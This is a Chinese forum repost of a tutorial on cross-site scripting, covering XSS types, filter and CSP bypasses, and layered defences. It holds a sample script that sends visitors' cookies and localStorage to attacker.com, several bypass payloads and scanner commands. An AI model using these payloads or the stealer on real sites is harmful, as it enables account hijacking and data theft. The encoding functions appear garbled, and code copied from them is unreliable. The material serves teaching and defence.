找回密码
立即注册
搜索
热搜: Java Python Linux Go
发回帖 发新帖

3681

积分

0

好友

515

主题
发表于 2026-2-12 07:06:23 | 查看: 34| 回复: 0

深夜,购物平台“京淘”安全团队接到用户投诉,称账号在深夜自动发布带有购物链接的帖子。安全工程师检查时,在相关页面触发了JavaScript弹窗“alert(\"Hello SSS\")”。这并非恶作剧,而是一场精心设计的XSS攻击。攻击者仅用了一段简短的JavaScript代码,便劫持了上千个活跃账号。这一切的源头,竟是一个被开发者认为“无害”的功能:用户评论支持HTML富文本。

一、XSS的本质:当浏览器分不清“代码”与“数据”

XSS(跨站脚本攻击)的核心在于,攻击者将恶意脚本代码“注入”到可信的网页中,当用户浏览器加载该页面时,会将这些输入误认为是合法的代码指令予以执行。

一个看似无害的评论功能就可能成为入口。假设一个博客网站允许用户评论:

<!-- 用户正常评论 -->
<div class=\"comment\">
<p>这篇文章很有帮助!</p>
</div>

<!-- 攻击者评论 -->
<div class=\"comment\">
<p>好文章!</p>
<script>alert('你的cookie是:' + document.cookie)</script>
</div>

当其他用户浏览这篇博客时,<script>标签及其内容会被浏览器当作代码执行,弹出包含当前用户Cookie的对话框,而不是作为普通文本显示。

XSS的破坏力随着Web技术的发展而不断演进:

  • 第一阶段:弹窗恶作剧(2000年代早期)<script>alert('XSS')</script>
  • 第二阶段:窃取数据(2010年代):通过fetch请求将用户敏感数据(如Cookie)发送到攻击者服务器。
  • 第三阶段:持久化攻击(现代):攻击变得更加隐蔽和自动化。恶意脚本可以窃取用户身份令牌(Token),并以其身份执行操作(如发帖),甚至在页面中植入后门脚本,实现长期控制。

二、三种XSS类型:理解攻击的不同维度

1. 反射型XSS(最易理解,最难利用)

攻击脚本通常隐藏在URL参数中,需要诱骗用户点击才能触发。

  • 场景:搜索功能。正常搜索 https://example.com/search?q=网络安全 会显示“您搜索的是:网络安全”。而恶意搜索 https://example.com/search?q=<script>alert(1)</script> 在显示时则会执行其中的脚本。
  • 特点:需要用户点击特定链接;不存储在服务器上;常用于钓鱼攻击。
  • 手动测试Payload<script>alert(1)</script>`,<svg onload=alert(1)><body onload=alert(1)>`。

2. 存储型XSS(危害最大,最隐蔽)

攻击脚本被永久存储在服务器端(如数据库),所有访问特定页面的用户都会中招。

  • 场景:用户资料、评论、论坛帖子等包含用户可控内容且会被其他用户查看的地方。
  • 真实案例:2015年,某社交平台因存储型XSS导致千万用户资料泄露;也有攻击者在个人资料中植入挖矿脚本,利用访客的CPU资源进行加密货币挖矿。

一段典型的窃取脚本可能如下所示,攻击者将其插入个人简介等可编辑字段:

// 攻击者在个人简介中插入:
<script>
// 静默收集访问者信息
const data = {
    cookie: document.cookie,
    userAgent: navigator.userAgent,
    url: location.href,
    localStorage: JSON.stringify(localStorage)
};
// 发送到攻击者服务器
fetch('https://attacker.com/collect', {
    method: 'POST',
    body: JSON.stringify(data)
});
</script>

3. DOM型XSS(最易被忽略)

与反射型的关键区别在于,漏洞存在于前端JavaScript代码逻辑中,服务器返回的响应可能是“干净”的,但客户端的JS不安全地操作了DOM,导致了代码执行。

  • 示例:页面源码中,JavaScript直接从URL获取参数并插入到HTML中。
    <script>
    // 从URL获取参数并直接使用
    const name = new URLSearchParams(location.search).get('name');
    // 危险操作:直接插入到HTML中
    document.getElementById('welcome').innerHTML = 'Hello, ' + name;
    </script>

    攻击者可以构造URL:https://example.com/page?name=。当用户访问此链接时,stealCookie()函数将被执行。

  • 为什么危险:服务器可能完全无感知,传统基于流量检测的WAF难以防御,在现代单页面应用(SPA)中尤为常见。

三、绕过防御:现代XSS攻击技巧

攻击者一直在寻找各种方法绕过开发者的安全措施。

1. 过滤<script>标签的绕过

如果防御措施仅仅是删除或转义<script>标签,攻击者可能尝试:

  • 嵌套绕过<scr<script>ipt>alert(1)</script>,过滤中间部分后,前后部分会拼合成新的<script>
  • 使用其他标签:利用支持事件处理器的HTML标签,如<svg onload=alert(1)>或``。

2. HTML实体编码的绕过

如果防御措施是将<转义为<>转义为>,在特定上下文中仍可能被绕过。例如,在JavaScript字符串上下文中,编码后的字符可能会被解码。

<script>
var userInput = “<?php echo htmlspecialchars($_GET['input']); ?>“;
document.write(userInput); // 这里会解码HTML实体!
</script>

攻击者输入</script><script>alert(1)</script>,经过编码后插入。当document.write执行时,编码的</script>会被解码,从而提前闭合原<script>标签,紧接着执行新的恶意脚本。

3. 内容安全策略(CSP)的绕过

CSP(Content-Security-Policy)是一个强大的安全层,但配置错误会使其形同虚设。

  • 严格CSP头示例
    Content-Security-Policy:
    default-src 'none'; # 默认禁止所有
    script-src 'self' 'nonce-random123'; # 只允许同源+nonce
    style-src 'self'; # 只允许同源样式
    img-src 'self' data:; # 只允许同源图片和DataURL
    connect-src 'self'; # 只允许同源AJAX
    font-src 'self'; # 只允许同源字体
    object-src 'none'; # 禁止Flash等
    frame-ancestors 'none'; # 禁止被嵌入
    base-uri 'self'; # 限制<base>标签
    form-action 'self'; # 限制表单提交目标
  • 常见绕过方法
    1. 利用同域上的文件上传点,上传恶意JS文件。
    2. 劫持允许的JSONP端点(如果配置中允许)。
    3. 利用错误的CSP配置,如使用了过于宽松的‘unsafe-inline’(允许内联脚本)或过宽的域名通配符*.example.com

4. 现代框架的特殊上下文

像Vue.js和React这样的前端框架提供了特定的API,如果使用不当,也会引入XSS风险。

  • Vue.js中的v-html指令<div v-html=\"userContent\"></div>。Vue不会执行userContent中的<script>标签,但其他可执行代码的标签如``仍可能被利用。
  • React中的dangerouslySetInnerHTML<div dangerouslySetInnerHTML={{__html: userContent}} />。React默认会对插入的内容进行转义,但如果使用了有漏洞的第三方库或自定义组件处理不当,风险依然存在。

四、从攻击到防御:构建多层防护体系

单一的防御手段很容易被绕过,有效的防护需要多层叠加。

第一层:输入处理(白名单优于黑名单)

不要试图用黑名单(过滤特定标签)来防御,因为绕过方法层出不穷。

// 不好的做法:过滤特定标签(黑名单)
function filterBad(input) {
 return input.replace(/<script>/gi, '‘); // 容易被绕过:<scr<script>ipt>
}

正确的做法是使用基于白名单的净化库,只允许安全的标签和属性。

// 好的做法:基于允许列表(白名单)并使用专门库
// 推荐库:
// - DOMPurify (浏览器端)
// - js-xss (Node.js)
// - OWASP Java HTML Sanitizer

第二层:输出编码(上下文敏感)

关键是要知道用户输入的数据将被插入到什么上下文中,并采用对应的编码函数。

// 1. HTML上下文
function encodeForHTML(text) {
  return text
    .replace(/&/g, '&')
    .replace(/</g, '<')
    .replace(/>/g, '>')
    .replace(/“/g, '"')
    .replace(/'/g, ''');
}

// 2. JavaScript上下文(如`<script>`标签内或事件处理器属性值中)
function encodeForJS(text) {
  return text
    .replace(/\\/g, '\\\\')
    .replace(/“/g, '\\”')
    .replace(/'/g, \"\\’\")
    .replace(/\\n/g, '\\\\n');
}

// 3. URL上下文(如链接的href属性)
function encodeForURL(text) {
  return encodeURIComponent(text);
}

第三层:内容安全策略(CSP)

如前所述,正确配置的CSP是抵御XSS的强力后盾,它能从根本上告诉浏览器哪些资源可以加载和执行。

第四层:利用现代浏览器的安全特性

  • HttpOnly Cookie:为会话ID等敏感Cookie设置HttpOnlySecure标志,防止JavaScript通过document.cookie访问。
    Set-Cookie: sessionId=abc123; HttpOnly; Secure
  • Subresource Integrity (SRI):在引用第三方CDN上的脚本时,使用完整性校验哈希,确保脚本未被篡改。
    <script src=\"https://cdn.example.com/jquery.js\" integrity=\"sha384-...\" crossorigin=\"anonymous\"></script>

五、工具集:从手动测试到自动化扫描

对于开发者和安全人员,拥有一套工具集至关重要。

手动测试工具

  • 浏览器开发者工具:最基础的工具。使用网络面板查看请求响应,控制台调试JavaScript,元素审查器查看动态DOM变化。
  • Burp Suite插件:如XSS Validator、专门针对DOM XSS的DOM Invader
  • 浏览器扩展:如XSS RayXSS Strike

自动化扫描工具

# 1. XSStrike (智能XSS扫描器)
python xsstrike.py -u \"http://target.com/search?q=test\"
# 2. dalfox (专注于DOM型XSS扫描)
dalfox url http://target.com/page
# 3. Nuclei模板 (快速检测已知漏洞模式)
nuclei -u http://target.com -t xss.yaml

有效载荷库

推荐使用SecLists项目中的XSS Payload集合 (www.github.com/danielmiessler/SecLists)。了解常见的绕过向量也非常有帮助,例如:

  • <iframe srcdoc=\"<script>alert(1)</script>\">
  • <details/open/ontoggle=alert(1)>
  • <svg><animate onbegin=alert(1) attributeName=x></svg>

六、真实案例分析:从漏洞发现到修复

以某电商网站商品预览功能为例。

漏洞发现
安全测试人员发现商品预览页面的URL参数preview被直接插入到页面HTML中。
攻击者可以构造URL:GET /product/123?preview=<svg/onload=alert(1)>

后端存在问题的代码(Node.js Express示例)

// 修复前
app.get('/product/:id', (req, res) => {
  const preview = req.query.preview || ‘';
  res.send(`
    <div class=\"preview\">
      预览: ${preview} <!-- 直接插入,危险! -->
    </div>
   `);
});

利用链

  1. 攻击者在商品评价或站内信中植入包含窃取脚本的恶意预览链接。
  2. 用户点击链接,脚本在用户浏览器中执行,等待用户登录后窃取其身份认证Token。
  3. 脚本利用窃取的Token调用网站API,修改用户的收货地址。
  4. 攻击者再利用该Token下单,将商品发往自己控制的地址。

修复方案
preview参数进行严格的HTML编码(使用前述的encodeForHTML函数)后再输出,确保任何用户输入都被当作纯文本显示,而非可执行的代码。

七、XSS的未来:新挑战与新技术

Web技术不断发展,XSS的攻防战场也在转移。

  • 新挑战:服务器端渲染(SSR)、WebAssembly、复杂的第三方组件库等都可能引入新的攻击面。
  • 新兴防御技术
    1. Trusted Types API:浏览器原生API,要求开发者明确声明危险操作的数据类型,从根本上杜绝不安全的字符串拼接。
    2. 隔离技术:如Google Chrome的Site Isolation,将不同站点隔离在不同的进程中,限制攻击的影响范围。
    3. 机器学习检测:在WAF或客户端动态分析脚本行为,识别恶意模式。

实战入门清单

如果你对XSS攻防感兴趣,可以按以下步骤开始实践:

  1. 第一小时:认识XSS
    • 访问 xss-game.appspot.com
    • 完成第一关,直观感受XSS攻击是如何发生的。
  2. 第一天:基础实践
    • 使用Docker快速搭建靶场:docker run -d -p 8080:80 vulnerables/web-dvwa
    • 在DVWA的反射型XSS模块,尝试输入不同Payload:<script>alert(document.domain)</script>,``,观察并理解浏览器的执行逻辑。
  3. 第一周:深度理解
    • 系统学习HTML、JavaScript及浏览器安全模型。
    • 尝试在更真实的漏洞靶场(如PortSwigger的Web安全学院)中挑战更复杂的XSS场景。
    • 学习使用自动化扫描工具辅助测试。

记住,每一个看似简单的alert(1)弹窗背后,都可能是一条通往数据泄露、账户劫持或业务欺诈的路径。XSS教会开发者的最重要一课,是对所有不可信的用户输入保持永恒的敬畏。在Web安全的世界里,验证是最必要的日常习惯,而盲目的信任则是最大的风险。

参考资料

[1] 从弹窗到账户劫持:XSS跨站脚本攻击深度解析, 微信公众号:mp.weixin.qq.com/s/7Rp11GkMnjIvET5lTg99Ag

版权声明:本文由 云栈社区 整理发布,版权归原作者所有。




上一篇:解读F5 NGINX Ingress Controller 5.3.0:平滑迁移与生产级功能升级
下一篇:从器物到镜像:贝珊・劳拉・伍德在伦敦设计博物馆如何以设计回应数字时代?
您需要登录后才可以回帖 登录 | 立即注册

手机版|小黑屋|网站地图|云栈社区 ( 苏ICP备2022046150号-2 )

GMT+8, 2026-2-23 14:18 , Processed in 0.620986 second(s), 41 queries , Gzip On.

Powered by Discuz! X3.5

© 2025-2026 云栈社区.

快速回复 返回顶部 返回列表